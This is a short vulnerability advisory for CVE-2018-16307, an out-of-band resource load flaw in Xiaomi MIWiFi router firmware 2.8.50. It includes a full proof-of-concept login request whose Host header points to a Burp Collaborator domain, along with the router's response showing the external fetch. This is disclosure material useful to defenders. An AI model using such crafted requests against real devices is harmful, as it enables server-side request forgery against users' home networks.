An out-of-band resource load issue was discovered on Xiaomi MIWiFi Xiaomi_55DD version 2.8.50 devices. It is possible to induce the application to retrieve the contents of an arbitrary external URL and return those contents in its own response. If a domain name (containing a random string) is used in the HTTP Host header, the application performs an HTTP request to the specified domain. The response from that request is then included in the application's own response.
6ac1762d0861842f9b5cefc05f6c1c0eCVE: CVE-2018-16307
Issue: Out-of-band resource load
Product affected: MIWiFi Xiaomi_55DD Version 2.8.50
Summary:
An "Out-of-band resource load" issue was discovered on Xiaomi MIWiFi Xiaomi_55DD Version 2.8.50 devices. It is possible to induce the application to retrieve the contents of an arbitrary external URL and return those contents in its own response. If a domain name (containing a random string) is used in the HTTP Host header, the application performs an HTTP request to the specified domain. The response from that request is then included in the application's own response.
## Request
POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.31.1/cgi-bin/luci/web/home
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 126
Cookie: __guid=86847064.3826147368769525000.1535781606575.13; monitor_count=9; psp=admin|||2|||0
Connection: close
username=admin&password=b2e8d6e552db587f3c283ce59c4d08fcbaf2cc9e&logtype=2&nonce=0_4c%3Abb%3A58%3A47%3A39%3A84_1535785091_2732
## Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 62
Connection: close
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
MiCGI-Switch: 1 0
MiCGI-TproxyInfo: 192.168.31.1:80
MiCGI-Upstream: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net
MiCGI-Client-Ip: 192.168.31.237
MiCGI-Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net
MiCGI-Http-Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net
MiCGI-Server-Ip: 192.168.31.1
MiCGI-Server-Port: 80
MiCGI-Status: AUTOPROXY
MiCGI-Preload: no
<html><body>x4e809xt6zpgky5b16f6dezjlglgkugifigz</body></html>